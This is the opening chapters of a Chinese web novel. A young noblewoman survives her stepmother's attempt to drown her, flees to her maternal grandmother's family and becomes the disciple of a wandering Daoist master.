《捡个师兄做夫君》
1. 复生
初春的天儿,带着寒气,一缕阳光透过窗户缝儿斜照到木桌上,看着倒似暖和了几分。
光线末端延到了一双月白色的绣鞋上,泛出柔和的光,上面绣了几朵针脚细密的小花。
绣鞋的主人正躺在一张繁复雕刻的床上,旁边一名小丫鬟正拿着手帕擦眼泪,丝毫没注意到一个微弱的光团落入了床上女子的身体里。
忽地听见床上传来一声痛苦的呜咽,小丫鬟脸上血色瞬间退去,她保持着低头的动作,双眼却瞪得极大,一动也不敢动,直到又听见一声低低的痛呼,才缓缓抬头用眼睛的余光一点点向床上看去。
床上躺着的女子脸色苍白,额头覆了一层薄汗,一双秀眉紧紧皱着,刚才还在痛呼的嘴此刻正微微张着,眼神有些迷离,又努力想看清对面的人,犹疑地叫着:“莲夏?”
直到听到这声熟悉的呼唤,小丫鬟才激动地抓起女子的手:“小姐!呜呜呜,您活过来了小姐!”
女子揉了揉还在微微抽痛的头:“扶我起来坐着。”
莲夏赶忙倾身,小心地将女子扶起,抽出一只手拿起旁边的靠垫放在女子身后,又取了一张手帕细细地替她擦掉脸上的汗,随即转身去倒了一杯水端过来。
莲夏有些局促地朝女子笑了笑:“小姐,我以为您……您……,这水有点凉,您先将就着润润唇,我这就去重新给您烧壶热水!”
看着转身就要离开的丫鬟,女子出声叫住了她:“莲夏,等等,如今府内情况如何了?”
莲夏又转身回来急急道:“小姐,夫人命人将您推下水后,等了一刻钟,才叫人将您捞了起来,命我们所有人只当是小姐在老爷回来前不久才自己落水了。我回院子找了粗使婆子将您抬回来,如今夫人又叫人看住了我们院子,让我们不许声张,也不许出去。”
莲夏两眼红红的,瞧着像又要哭了,语气却尤为坚定:“但您放心,现下您醒了,我说什么也要冲出去给您请大夫回来!”
“先不要急,我没有大碍,你瞧,也没发烧。”女子轻轻拉起莲夏的手,安抚她道,“只先不要让其他人知道我醒了,既然她想等父亲回来,那我们便等上一等。院里其他人怎么样了?”
莲夏脸上浮起一抹怒意:“大家都在担心小姐您去了之后,孟家会如何处置他们。只有那孙妈妈,应是早早就搭上了夫人身边的周妈妈,刚才她来探过我口风了。”
“我只告诉她,您去了我自是该为自己打算的,她便让我配合她演戏。我本打算先应付着她,等老爷来了,便是死,我也要替小姐喊出这冤屈的!”
“如今您醒了,我们又该怎么办呢?”莲夏不由担心道。
“好莲夏,辛苦你了。”女子略一思索,“你便如孙妈妈所说,配合她行动,剩下的交由我来便是。不过我现在醒了,恐怕脸色也恢复了些许,你再帮我补点粉吧。我现在还有些头疼,要休息一会儿,帮我再看着会儿吧,父亲回来前再叫醒我。”
女子说完便被莲夏扶着躺下了,莲夏拿了粉一脸忧心忡忡地望着床上,这如今小姐和夫人已经鱼死网破了,小姐在这府上要如何活下去?
女子躺下后,脑中便浮想起昏迷时的情形,那些记忆像走马灯一般在她眼前展现。
她叫孟归芸,是孟家唯一的孩子,从小备受疼爱,父亲是工部员外郎,母亲则是林家老夫人的最小的女儿。
这林家老爷原是督察院副都御史,因在办一桩案子时被诬陷包庇案犯入了狱,在狱中就受不住去世了。
林家大爷申诉无果,也被牵连,从京府丞被贬到京城附近的东安府做同知,林家也举家搬了过去。
也就是林家出事这时候,母亲因为这接二连三的打击大病了一场。本来随着林家的稳定,母亲病情也渐渐好转起来,谁知第二年冬天的时候又感染了风寒,身子竟好不起来了。
此后无论父亲给母亲请了多少大夫,母亲的身子依然一日坏过一日,尽管母亲终日念叨着要给芸儿寻一门好亲事才能放心,但还是没熬过又一年的冬天。
母亲去世后这两年多,孟归芸有无数的委屈和纠结无法诉诸于口。原本母亲生病时,父亲待她便不如从前,她只以为是父亲整日忧心母亲,顾不得她。
谁知母亲去世刚满一年,才过守制期的父亲便娶了如今的继母胡氏入门,这胡氏入门后,父亲对她的关注便更少了。
直到昨日她的闺中好友谢清莹来府告知了她,母亲并非病死,而是胡氏下毒害死的。
孟归芸整夜未眠,许是压抑了许久的情绪终于找到了突破口,今日早晨,向来胆小怯懦的她竟然冲出去找到了继母,质问胡氏是否害死自己母亲,又扬言若是胡氏不自己认罪,当众给自己母亲道歉,她定要胡氏好看。
胡氏自进门后,早就把府里的人整顿了一遍,现下这身边跟着的,府里重要位置上的,全是她自己的人。
胡氏嘲笑她如今在府里孤身一人,问她要如何让她好看。
孟归芸又恼又气,拔下簪子就朝着胡氏捅了过去,旁边的婆子反应倒是快,孟归芸压根儿没碰到胡氏就被拦了下来。
胡氏也没想到这个向来逆来顺受的废物,还有勇气来杀她。
当即便叫身边婆子,将孟归芸和她身边一起跟来的莲夏的嘴巴捂住,押到了附近的小池子边上。
收到胡氏的示意后,婆子把孟归芸扔到了池子里,胡氏还亲自盯着,哪怕水里已经没了动静,也还等了一刻钟,才让人把孟归芸捞起来,确认了孟归芸死透了,才带着人走了。
这死前的记忆是看完了,可孟归芸又听见一道声音在愤怒地吼着:“杀了她!杀了她!”伴随而来的是她脑中如撕裂一般的疼痛。
这声音分明与她的声音一样,可为何她有一种感觉,这
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不是她吼出来的,她似乎忘记了什么。
忘了什么呢,明明从小到大的事都记得……
孟老爷散了值刚到家,边走边听着管家汇报事务,胡氏迎了出来,笑盈盈地正要同孟老爷说话。
“不好了不好了!老爷夫人,小姐落水了!”小厮匆匆跑了过来。
孟老爷猛地一转身,胡氏先一步出声:“怎么落水了呢?芸儿现在如何了?刘管家,快派人去叫大夫来。”
“小姐已经被抬回房里了,好像……好像情况不太好。”
“走!”孟老爷快步走去,胡氏的肚子一直没动静,如今家里就这么一个孩子,正选着人家呢。
“老爷、夫人……”银杏怯怯的声音在门外响起,不等她说完,孟老爷急急对胡氏道:“你先进去看看她怎么样了。”
胡氏点了点头就抬步进去了,进了里间后便放慢了脚步,站在床边的莲夏过来乖巧地对胡氏见了礼:“夫人”。
胡氏往床上看了一眼,孟归芸的脸白得吓人,她立马移开了视线,摆了摆手,让周妈妈赶紧去禀告给老爷,小姐房里收拾妥当,可以进来。
孟老爷踏进来便看见胡氏坐在床边哭:“芸儿她怎么样了?”
胡氏拿手帕擦了擦眼泪起身往孟老爷怀里靠,一副伤心模样:“老爷,芸儿她……怕是已经去了……”
“芸儿!”孟老爷顾不得胡氏,上前一步瞧见孟归芸惨白的脸,心中一惊,莫不是真的不行了。
“大夫呢?芸儿好端端的怎么会落水了,你们一群废物连小姐都护不好,芸儿要是不行了你们都去给她陪葬!”
孙妈妈扑通往前一跪:“冤枉啊老爷,刚才小姐把房里门口的丫鬟婆子们都支开了,莲夏姑娘去了厨房回来发现小姐不在房里,便急忙吩咐大家去找了,好容易才在花园小池边找到小姐,那时小姐便已经落水了。”
“你这老婆子,是说我芸儿疯了自己寻死不成!”
“老爷,老爷!小姐是主子,奴婢不敢妄加揣测,可自先夫人去世后这两年多来,小姐总是愁容满面,每每看到与先夫人有关的事物便要哭上一遭,揽霞院的人都知道啊!您可以问莲夏姑娘。”
孟老爷顺着话往莲夏看去,莲夏跪下正要回答,却听得床上传来一阵咳嗽声,所有人的目光立即转了过去。
孟老爷弯腰靠近床边:“芸儿,你醒了?大夫!大夫呢?怎么还没来?”
胡氏急忙跟近了去,看见孟归芸竟真的睁开了眼睛,瞳孔骤然一缩,她可是在水池旁亲自盯了一刻钟!
孟归芸声音虚虚地传了过来:“爹,我这是……怎么了?”
“芸儿,你落水了,你不记得了吗?”
孟归芸轻轻摇了摇头,随后看向正盯着她的胡氏,面露疑惑的表情:“爹,娘呢?这位是?”
孟老爷和胡氏互相一望,都愣了。
2. 好友相助
好在刘管家这时急匆匆带着大夫过来了,大夫行了个礼顺带顺了口气,随即搭了一块薄布在孟归芸手腕处,开始诊脉。
片刻后,又观察了她的面相,才道:“脉搏弦细不舒,应是常有情绪波动、失眠多梦等症,又冷天落水、寒气入体,当服养神散寒之药。好在孟小姐原先底子养得好,吃一个月的药,后面再慢慢温养着,还是能恢复七八成。”
莲夏心里奇怪,小姐向来身子骨弱,这个天吹个风都能头疼脑热的,这次落水不仅没烧起来,大夫还说小姐底子好,莫不是个庸医吧!
但小姐醒的时候她摸过了,确实也没发烧。也许……是小姐大难不死必有后福?嗯,一定是这样的,毕竟小姐就没离开过她的眼皮子。
孟老爷却没注意这些,只急道:“听大夫这意思小女并无大碍,可小女好像患了失魂症!”
“孟小姐近来本就多思多虑,现下又落水受到惊吓,暂时失去记忆也是很有可能的,除了吃药,还可辅以针灸治疗,只是什么时候恢复,又能否恢复,在下并无把握。”
“多谢,刘管家,带大夫去开方抓药。”孟老爷转过头正想安抚一下女儿,见孟归芸一脸不解地盯着自己,心下一惊,刚才还记着我呢,不会一转眼就忘了吧……
“爹爹,我患了失魂症?”
好在没忘,孟老爷点点头。
“我忘了什么?那娘呢?娘最心疼我了,不可能不来看我的。这位夫人又是谁,她怎么也在我房间?”
……还不如都忘光,这刚落了水,别再受刺/激真疯了。
胡氏看了一眼不知如何回答的孟老爷,心里暗恨这孟归芸居然没死,又庆幸她失忆了。
虽她给林氏下毒的事儿,孟老爷是心知肚明的。从林家失势后,这林氏对他来说就是累赘,她处理了林氏,也是帮了他。可这涉及到子嗣,尤其是她肚子也一直没动静,孟老爷最近又指望着靠孟归芸结一门好亲事,她还真不好把杀死孟归芸的事儿就这么摆上来,现下还是先看看情况。
胡氏稳了稳心神,对着孟归芸笑了笑:“芸儿,你落水才醒,这些事儿你也暂且放下,听大夫的话,好好养神才是,等你记忆恢复了,一切也都知道了。”我是谁,自有下人告诉你,犯不着我们来操心。
孟老爷闻言赶紧道:“对对,芸儿啊,刚才听你落水了着急过来,还有一些朝中要务等着我处理呢,我得先回书房了,你先好好休息啊。”
孟归芸显得有些委屈,轻轻点头,但如同从前一般乖巧:“是芸儿太心急了,耽误了爹爹,公务要紧,您也注意身体。”
孟老爷心下松了一口气,夸了一句“好孩子”,临走前还叮嘱了下人好好照顾她,也一如既往地像个外人眼里的好父亲。
胡氏跟着孟老爷身后一道儿出去了,临出门时淡淡地朝周妈妈看了一眼。
周妈妈微微点了点头,落后几步又向孙妈妈使了个眼色,孙妈妈便趁着眼下各人都只顾着讨论这事儿,无人会注意她,跟了出去。
莲夏出来敲打了院里下人一番,今日发生的事,够他们嚼好一阵子,但可不能传出去,这事儿传出去不定外面人怎么说,怕损了小姐清誉。
她扫了一圈没瞧见孙妈妈,心下便有了答案,又吩咐了银杏去看着药熬好了取回来,红枫去厨房领些好消化的食物回来,又叫婆子去打盆热水。
孟归芸靠在床上,看着莲夏指挥婆子将水盆放好,待婆子走了,她便绞了帕子过来将孟归芸脸上的粉仔细擦掉,边擦边心疼道:“这还是小姐头一回如此受罪,今后您在府中的处境可是越发难了。”
孟归芸沉默了半晌,事情既已发生,懊悔是没用的:“莲夏,如今院子里,怕是大半的人已经偏向了胡氏,这孟府我们得想办法离开。等会儿我写封信,今晚你避开他们,偷偷去清莹府上,将信亲自交到她手上。”
“是。小姐,我刚才出去的时候,没看见孙妈妈,怕又是往那边去了。”
“不用理她,她若叫你盯着我,你便答应着就是了。”
晚上,莲夏服侍着孟归芸早早歇下了,孙妈妈果真来了。
莲夏便让银杏和红枫先去休息,小姐刚落了水,今晚她来守夜。
待银杏和红枫离开,孙妈妈便拉着莲夏离门边远了远:“现下小姐虽醒了,可却失忆了,你如何打算的?”
莲夏叹了口气:“晚上小姐一直追问我怎么回事,我便告诉了小姐先夫人去世了,今日她所见的便是老爷续娶的新夫人,小姐听了晚上就一直哭,刚才才睡下呢。”
“那小姐没问落水的事儿?”
“怎么不问呢,我只按你说的,是她今天自己跑了出去落了水,她为什么跑出去她没跟我说过,自己也想不起来。”
孙妈妈又磨蹭了会儿,终于道:“你也知道如今是夫人当家了,今个周妈妈找我,想让我从中间牵个线,问如今小姐醒了,你还愿不愿意站在夫人一边?”
莲夏皱着眉头,佯装苦恼的样子,好一会儿才道:“这事儿我也想过,可这府里上下都知道小姐待我极好,我若帮着夫人,便是忘恩负义,我名声臭了又能得什么好处呢?”
孙妈妈一听便笑了:“这你不用担心,周妈妈一开始就跟我说了,若是你肯答应站在夫人这边,明日便先送来二十两银子以表诚意。待小姐出嫁时,若你想离开,夫人必想办法将你的身契拿来,再给你一百两银子。有了这笔钱,你出府后生活便容易许多。”
讲到这里,孙妈妈心里便有些不服气,这条件开得可比给她的好多了,“若你还想留下帮夫人办事,夫人也定不会亏待你,你是有功之人,月钱必是比在小姐这边还要丰厚。”
莲夏心里呸了一声,还挺会下套,怕是小姐出嫁之日便是她的忌日,之后再在小姐身边安一个胡氏自己的人,小姐性格向来柔弱,控制小姐简直轻而易举,现下不过是还需要她给她的安抚之词罢了。
莲夏面上不显,还挤出一丝谄媚的笑来:“夫人真这么说?那就多谢夫人了,我一定会好好为夫人办事的。”
孙妈妈笑到:“如今夫人那边也没有别的吩咐,你是小姐身边最亲近的丫鬟,就先看着
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点小姐有没有什么异常。”
“还请孙妈妈转告夫人,小姐这边有什么风吹草动我一定传达。”
送走孙妈妈后,莲夏回屋向装睡的孟归芸复述了一遍,便让孟归芸把门锁好,她也偷偷溜了出去。
谢清莹这会子正准备歇下了,却听见有丫鬟敲门,佩兰去开门应了,回来道:“是孟小姐身边的莲夏来了,说是要亲自见您,知道您紧着孟小姐,我已让赤芍去将她带进来了。”
谢清莹轻轻点了点头,眉头微微皱着,这么晚来,怕是出了什么事。
打开莲夏递过来的信,越看眉头越是缠得紧,气得将信拍在桌子上:“归芸怎的这般莽撞,被欺负了从来不吭一声的人,怎就敢在无凭无据的情况下去找了胡氏!更何况这孟府哪还有人会给她做主?!”
莲夏低着头不说话,她心里也是这样想的,可小姐是她的主子,更是她心里认定的亲人,小姐已经够难受了,她万不可再戳小姐心窝子的。
佩兰看了一眼她家小姐,骂吧,骂完了还得心疼。
“林家?她大舅如今被贬,还在京城外,二舅也远在边关,根本顾不得她!”
随即又想到母亲说过,当初林家疼爱林碧华,也就是孟归芸母亲,是在京城出了名的。
林碧华生得十分楚楚动人,性子也温婉。
十三岁时在一场诗会上露了头角,自那以后,来提亲的人把门槛都快踏破了。
但林家老爷老夫人只盼望自己女儿能受一辈子疼爱,挑人家并不从这些求娶的大户人家里挑,只怕自己女儿在婆家受了欺负,便想挑一个寒门书生,林家好照看着。
当年孟老爷还只能叫孟鸿远,不过就是一个穷书生,林家看上了他谦逊有礼,又长得面如冠玉,且他父母双亡,便将他招揽为门生,帮助他准备科举考试。
其实林家不止招揽了一个门生,只有的没考上,有的过早便显露了心思妄图探听主家小姐的消息,有的家里不好相与,总之到最后这孟鸿远抱得美人归。
这么些年,孟鸿远也确实没有辜负林家的期望,一直小心呵护着林碧华,林家也将他一路从一个学生提携到了如今的工部员外郎。
林家若是知道这孟鸿远竟敢娶一个杀了自己女儿的人,且这孟鸿远是否参与其中还未可知,是必要将孟归芸接走的。
何况这落了一遭水,也不是白落的,看看这从来不主动求人的闷葫芦,竟还主动找上她了,还知道装得了失魂症拖上一儿阵时间。
谢清莹闭着眼睛呼了口气:“罢了,如今再说这些也没有意义,如归芸所说,林家再如何也会尽全力护着她的。”
谢清莹这通说完,又想起小时候替孟归芸解了围之后,狠狠地训了她一顿,让她受了欺负要知道还击,孟归芸也不说话,脸蛋鼓鼓的,两只大眼睛噙满泪水一副想哭又不敢哭的样子。
她捏了捏绣帕,心下酸楚,罢了,归芸定也是没办法了,看着莲夏道:“她向来爱哭,你回去也不必再同她说我的气话,叫她心里再难受了。只让她安心,这信我一定送到。”
3. 林家来人
从传信后,已经过了两日,这天天还没亮,莲夏将门关上,轻轻将孟归芸叫醒,一脸兴奋地小声说道:“小姐,前院来人了!”
孟老爷还在睡梦中,便听见扣门声,刘管家急匆匆的声音传过来:“老爷,林家大爷和大夫人带了五六十个小厮过来,个个手拿棍棒。大爷带了一半人守在门口,大夫人领了其他人正往小姐院子里去呢,那架势跟不要命似的,咱们拦不住啊!”
孟老爷有些迷茫又有些震惊:“这是要做什么?快快,带我过去!”
跟着刘管家一阵儿小跑到了垂花门,只见林安和带着十几个人守着,再往前探头一看,大门倒是关着的,只还是被林安和的人把持着:“大哥,你这是?”
林安和转头看见孟老爷,原本暂时压下的怒火一下又腾起来:“好你个孟鸿远,芸儿落水这么大的事你竟然敢瞒着我们!”
孟老爷表情一滞,这事儿他真忘了,他如今正儿八经是胡家的女婿了,巴结那边还来不及:“大哥,我也是怕你们担心啊,我第一时间就给芸儿请了大夫,大夫说芸儿没事养养就好,我才没告诉你们。”
“你这是什么意思!孟鸿远,你忘记你当初就连碧华芸儿少吃了口饭,你都得拿到林家说上一嘴。我也懒得同你多说,今日来,就是要带走芸儿。”
“大哥,芸儿这刚落水没几日,你这般强行带她走,只怕更伤她的身体啊!”孟老爷心急,他正与郑家商议婚事呢,虽然那郑家次子腿脚有些许不便,可郑老爷乃是吏部尚书,再加上胡家的帮助,自己下次的提拔说不准就稳了。再说了,若不是腿脚不便,芸儿还嫁不了那嫡次子。
见林安和并不同他言语,自己府上这些人又拦不住,情急之下便脱口而出:“大哥!且不说芸儿如今病着呢,芸儿前年已满十四,又因着守孝耽搁了两年多,现下正替她相看人家呢,等芸儿一满孝期便可出嫁。如今再耽搁下去,这婚配人选可就越来越少了。这可是芸儿的终身大事啊!”
林安和怒目圆瞪,忍不住呵斥他:“芸儿守孝期还未满你们就急着为她相看了,且不说这时候能与你们相看的能有什么好人家,你且说说你这样对得起碧华吗?”
没等孟老爷出声,后面响起一阵密密麻麻的脚步声,孟归芸的声音传来:“父亲,芸儿还在孝期,此时谈婚论嫁,芸儿如何对得起母亲,传了出去,父亲又如何有脸面?”
孟老爷回头一看,孟归芸左边站着林家大夫人魏曼菁,右边莲夏扶着她,周围一圈小厮将她们护在中间,说话间就到了他面前。
“芸儿,你要随他们走?你可还记得你姓孟!”
“父亲,我当然知道我姓孟,可如今这孟府怕是已经容不下我了。”孟归芸眼睛并未看着孟老爷,而是看向了人群后向着这边走来的人影。
胡氏被外面动静闹醒了,起来略略梳洗了一番便赶了过来,正好就看见这孟归芸朝这边看过来。
“孟鸿远,你若是还想留下你孟家的血脉,我劝你还是让芸儿随我们离开。”魏曼菁直直地盯着他。
孟老爷看着胡氏,似突然明白了什么,脸色又青又白,十分精彩。
少许,终于叹了口气,退到了一边。
胡氏见状牙都要咬碎了,这孟归芸让她身边的大丫鬟出来迷惑自己,背地里找了林家来将她带走,又暗骂这孙婆子真是个蠢货,什么重要信息都没探到!
可笑她自己也着了道,竟没看穿这孟归芸的软弱可欺的样子是装的。
胡氏哼了一声转身便走,孟老爷甩甩衣袖跟了上去。
胡氏知道孟老爷定会来找她,那又如何,她顾忌孟老爷的感受,不过是因为她确实喜欢他,不想他们之间生了嫌隙。
如今事情败露,她根本不怕,她知道孟老爷在意的是什么。孟归芸不过一个女儿罢了,等她生下儿子,孟归芸别说回林家,她就算真的跟她母亲团聚了,孟老爷也不会提半个字。
孟老爷还年轻,还有的是机会有孩子,如果她真的不能生,那她也能找到别的能生下孩子的女人,去母留子而已。
更何况比起一个女儿,比起血脉,有什么比当下自己的路途更重要呢,他还有求于胡家,怎敢真的为难她。
倒是还有更重要的事要去办,既然事情已经摆在明面上了,那就送佛送到西。
刚才那一通闹,现下天已微微亮,好在孟府附近比较安静,人也不多,一群人走到一处无人的巷道,马车停了下来,林安和对着小厮们拱手道:“今日多亏了诸位,若非你们援助,靠我们这二十来个人还真不一定能顺利出来。”又向身边的小厮示意,“这是我的一点心意,请各位兄弟喝喝酒,还望不要嫌弃。”
领头的小厮回了礼:“林大爷客气了,这礼我们不敢收,我们也是听小姐的吩咐行事,孟小姐是我们小姐的好友,理应尽力。我们还需尽快回府中向小姐复命,就先回去了,祝大爷大夫人孟小姐一路平安!”
“既如此,也不耽误各位,还请代林家向谢小姐表示感谢!”
孟归芸心下了然,清莹总是为她考虑这么多,她原还好奇以林家目前的状况怎么会有这么多精壮的小厮,又是从京城外赶来,带这么多人怕是进城都要被盘问一番。
走到晌午了,林安和来到马车前:“累不累,已经走了三分之一的路了,这会儿快到晌午了,要不下来休息
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一下吃点东西。”
魏曼菁看了一眼孟归芸:“也好,我看芸儿脸色不是太好,下来透口气吧。”
孟归芸和魏曼菁正坐在一块儿休息,莲夏在一旁蹲着看蚂蚁。孟归芸只愣愣地看着河水,也不说话也不做别的。
孟归芸向来话少,魏曼菁只以为她是心情不好,就这么静静的陪着她。
“这位小友,可有兴趣修道啊?”
冷不丁一个声音传来,孟归芸和魏曼菁齐齐吓了一跳,回头一看,竟是个白发白须的老道士,老道士目光炯炯,正盯着孟归芸。
莲夏连忙将孟归芸护在身后:“这位道长,对一位闺阁女子说出此话是否太过冒昧。”开什么玩笑,哪有人无端的叫还未出嫁的女儿家修道的?
林安和跟周围的小厮快速过来将两人护住,他们竟无一人看见这道士如何过来的。
老道士缕缕胡须笑道:“欸,诸位不必紧张,贫道并非歹人,道号宏安,只是恰巧路过此地,看到这位小友眼睛清澈明亮,气质脱俗,与这天地自然隐隐似有共鸣,故想收这位小友为徒,贫道自问还算有些本事,必不会埋没了小友的天赋。”
魏曼菁和林安和一听他如此夸赞孟归芸,神色顿时松了下来,是呢,他们芸儿是个顶顶好的。
但他们又不认识他,谁知道他是不是装的,万一是那胡氏派来的呢。
两人对望一眼,将孟归芸护得更紧了:“承蒙这位道长赏识,只我们是普通人家,无心问道,若无其他事,还请道长莫要打扰。”
“小友,你怎么想呢?”
……
想什么啊,我一个柔柔弱弱的千金大小姐,突然蹦出来一个道士问我要不要修道?
“我并无此意。”
“我观小友面色暗淡,眼下淤青,想必睡得不甚安稳,贫道也有办法解决。”
“多谢道长,只是这是受家事困扰,不必了。”
林安和手一伸:“还请道长离开。”
宏安道长面露惋惜,如此奇才!
他游走世间多年,本以为之前收的徒弟已是天才中的翘楚,如今一见这位小友,他才知道什么是绝世之姿。此女若是修道,将来前途不可限量。
不能轻易放弃!
“看小友的年龄,是还担心婚嫁问题?诸位放心,我这一派讲究不多,婚嫁这些从未有过限制。且若小友至今未有合适人选,贫道愿意介绍一位世间难得的优秀男儿,家世外貌品行皆经得起考验。”
什么?还包婚配?魏曼菁和林安和对视一眼,这是什么发展?
又看向孟归芸,经得起考验的优秀男儿,怎么办,有些心动了。
4. 路遇道士
宏安道长见几人都不说话:“几位是还有什么顾虑吗?你们尽管提出。”
如今还是要尽快帮母亲报仇,解决掉胡氏,修道?之前从未听过这等离奇之事。
孟归芸正要继续拒绝,却见那老道士神色一变,随即出现在十米之外的大石头旁,还没看清他是怎么把石头后的人打倒的,他又出现在另一棵大树上,树上又接连掉下了几个人。
片刻之间,解决掉了五六个人,一群人看得目瞪口呆。
林安和带了几个人冲过去,检查了一下几人,身体精壮,一看就是习武之人,身上没有什么特别的标识。但现在找上门来的,只有胡氏。
林安和交代小厮把他们处理了,又回去跟魏曼菁和孟归芸说了情况。
“诸位是有仇家?看这样子这仇不小啊,这来的几人武功不低,且带了刀的。”
宏安道长看向孟归芸:“若小友愿意拜我为师,贫道愿一路护送你们回家。至于之后嘛,贫道所学颇多,符箓、炼丹等都算是有所小成。护持自身的武学更是已臻化境,世间能胜过贫道之人,怕是不足一掌之数。小友学会之后即可为自己护道,亦可保护家人。”
这宏安道长看起来真有些本事,就这一身武功,若能学会,自己定也大为受益,孟归芸这才敛了神色,正式行了个礼道:“晚辈孟归芸,请问道长,要如何行拜师之礼?”
宏安道长哈哈一笑:“本来按照门规得先开坛奉香、祭拜祖师爷,再向师父三拜九叩,灌顶加持等等,这一套礼仪下来得大半天。”
“贫道当年拜师的时候,就觉得太复杂,想着未来收徒的时候一定得怎么简单怎么来,所以咱们就省去那些,你只要给我磕个头叫我一声师父就好。”
孟归芸心里有点迟疑,礼仪一事,向来繁复,但总归是应当的,这拜师也是人生大事,于是开口道:“怕是不妥……”
宏安道长轻甩浮尘,道:“修行一事,本就贵在修心。只要你心里有为师,念着师门,那就够了。”
“我们此番路程不过还有三十公里,今晚便可到达,还请准我到家后再行拜师礼,至少为师父奉个茶。”
宏安道长心下熨帖:“好。”
魏曼菁有点担心:“道长,我们芸儿才落水生了病,现在是不是该好好养养身体再谈修行之事啊?”
宏安道长捋捋胡须:“哦?贫道倒是没看出来小友身体有何大碍,不过是被梦魇缠身,睡不安稳,这才看起来面色不好。回去以后,贫道可再仔细查看一番。”
林安和又有些抱歉:“可否委屈一下道长乔装打扮一番,您这身装扮实在太过打眼,与我们一同进城恐惹非议。”
“无妨,你们只管进城,我会跟着你们的。”
“多谢道长。”
“大舅,我休息好了,我们这便出发吧。”
林安和点点头,吩咐大家收拾出发,再回头一看,已经不见了宏安道长的踪影,心下暗道今日真是遇到奇事了,不知回家还能看到他吗?
天才黑了不久,街上两边亮起了点点灯光,早有小厮提前去府里通报了消息,今日林安和他们就要带着孟归芸回来了。老太太饭也没吃几口,坐在屋里时不时就朝外望着,丁妈妈在一旁安抚着。
“禀老太太,大爷马车已经进城,算上下人们回程的时间,大约还有一刻钟就到了。”
老太太激动地站起身,丁妈妈赶紧
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扶着:“好!好!赶紧让大家都再检查检查,饭菜都还热着吧,热水都备好了吧。”
丁妈妈笑着道:“哎哟老太太,这些事哪儿用您操心呐。”转头又跟报信的小厮道,“去吧,跟林管家再说说老太太的嘱咐。”
见小厮领命去了,老太太又想往出走,丁妈妈把老太太拉住:“还有一刻钟呢,哪儿就现在要出去了,这晚上冷着呢,这身体刚好了些,可不能再冻着了,您就安安心心坐着吧。”
老太太一脸不满:“阿翠你越发像个老婆子了,总是碎碎念的,老管着我。”
丁妈妈笑笑:“可不就是个老婆子了。”
马车还未停稳,孟归芸就听到外面林安和的声音响起:“母亲,这么冷的天怎么在外面等着?”
“知道芸儿回来了祖母着急呢!”一声清亮的女声含着笑意,是表嫂。
记忆中温暖慈祥的声音响起,有些急道:“芸儿呢?”
孟归芸掀开马车帘子探出半个身子:“外祖母,芸儿回来了。”
老太太面上一喜,迎了过去,还未走到,眼泪就流了下来:“芸儿……我的芸儿……”
孟归芸连忙在莲夏搀扶下下了马车,老太太被表哥表嫂一左一右的扶着,孟归芸一手从表嫂手中接过了老太太,一手拿着帕子小心地给老太太擦眼泪:“外祖母别哭,芸儿回来是好事啊。”
老太太努力地止住眼泪:“是好事,是好事。赶了一天路累了吧,路上肯定也没吃好,走,进屋去,外祖母给你准备了好多好吃的!”
“诶!”
一行人热热闹闹地簇拥着进去了。
直到吃完饭晚上休息,也没见到宏安道长的影子。
5. 拜师
卯时中,春日的天还亮得晚,此时不过一点微光,林安和起床准备上值了,门房那边传来消息说有人找他,说是林家远方亲戚。
林安和到门口一看,只见一位身高约莫五尺的中年女子,胳膊上挎了一个布包,长相普通,走进人群都找不出。
未等林安和开口,女子略显激动道:“林表弟,我是李小霜啊,你表姐!家里遭了难,我实在是没法了,只能来找你了。”
林安和一愣,他哪儿来的姓李的表姐,再远房的都没听过啊。
女子见他没反应,又说道:“我太渴了,实在不行,你让我进去喝口茶行不行?”
林安和似乎明白了,哪有人渴了求人要喝茶的,顶多是讨口水喝,怕是那宏安道长来了。又觉得神奇,他还能变成女人?万一不是呢?问道:“你要喝什么茶?”
女子脸上现出一抹笑,低声道:“自然是你们府上最好的茶。”
莲夏轻轻叫醒了孟归芸:“小姐,道长来了。”
孟归芸缓了缓神,昨夜照例做了那个梦,醒来有些疲惫,揉了揉额头:“来了多久了?”
“不知,大爷那边刚来人报的。”
“好,赶紧洗漱过去吧。”
孟归芸看着正前方坐着的女子,试探道:“道长?”
女子笑了笑:“小友,我来喝茶了。”
“让道长久等了。”
“无妨,我也并未与你们约定时间。”
林安和抱歉道:“昨日到家已晚,芸儿与我们又许久未见,聊了许长时间,还未来得及准备,请道长见谅。”
“欸,都说了是来喝茶的,无需再说这些。”
“大舅,就按师父说的,一切从简吧,莲夏,去准备茶水。”
少许,孟归芸跪下,向宏安道长行了三拜九叩大礼,再呈了茶上去,正式改口叫了师父。
宏安道长面上笑意更盛,好好好。
是了,大徒弟他也是这样对他说的,那小子立马就磕头拜了,当时他也觉得徒弟爽快来着,就这么一对比吧……
“起来吧,如今我们这一脉加你一共三人,除了师父我,你还有一个大师兄,他游历在外,缘分到了,你们自然也就相见了。”
“师父,您今后就一直这副打扮吗?还是这是您的真身?”
“哈哈,这是为了顾及你的闺名,做的易容术,今后在你们府上,我都是这副打扮。怎么样,师父的技术还不赖吧?”
孟归芸眼睛亮亮的:“嗯。”她要学。
拜师礼完成后,安排好宏安道长的房间,林安和便去上值了,孟归芸先去与外祖母请了安,和大舅母表嫂一起陪老太太聊天,聊着聊着又说到以前在孟府的事儿,看着如今的情形,老太太又是一阵心疼,拉着孟归芸直落泪。
又说起回来路上发生的事,听得老太太心惊胆战,听到宏安道长的名字,似乎在哪儿听过,想了好一阵儿,才惊讶道:“我刚嫁入林家那会儿去参加茶会,闲聊中听说过这个人。”
“有位夫人回娘家的途中,遇到了山匪,那群山匪手持大刀,面容狰狞。女子皆知遇到山匪除了财物会被洗劫,必名节不保,那夫人心下便存了死意。”
“心灰意冷之际,一位道长出现护了他们,他一人独挑对方二十几人,却毫发无损。夫人想要报答,道长却并未接受,只道救人并非为获得报答,只为修炼自身。在夫人的追问下,得知了他的道号,便是宏安。”
“芸儿啊,若此人就是当年那位宏安道长,拜他为师你自能学到许多,但外祖母不求你如他一般济世救人,我只希望你能保护自己,一生平安。”
陪着外祖母吃了午饭,孟归芸带着莲夏去了师父的房间找他。
“师父,徒儿有个不情之请,我随您修行之时,想让莲夏陪在我身边,并非徒儿想冲撞您,我只想将来莲夏也有自保之力。”孟归芸还是有些忐忑的,这世道,有了技能便有了立身之本,大都忌讳被外人学了去。
莲夏立马跪下:“道长,莲夏自知资质平庸,并不曾妄想其他,莲夏只想今后一直陪伴小姐,莫要成了小姐的拖累。”
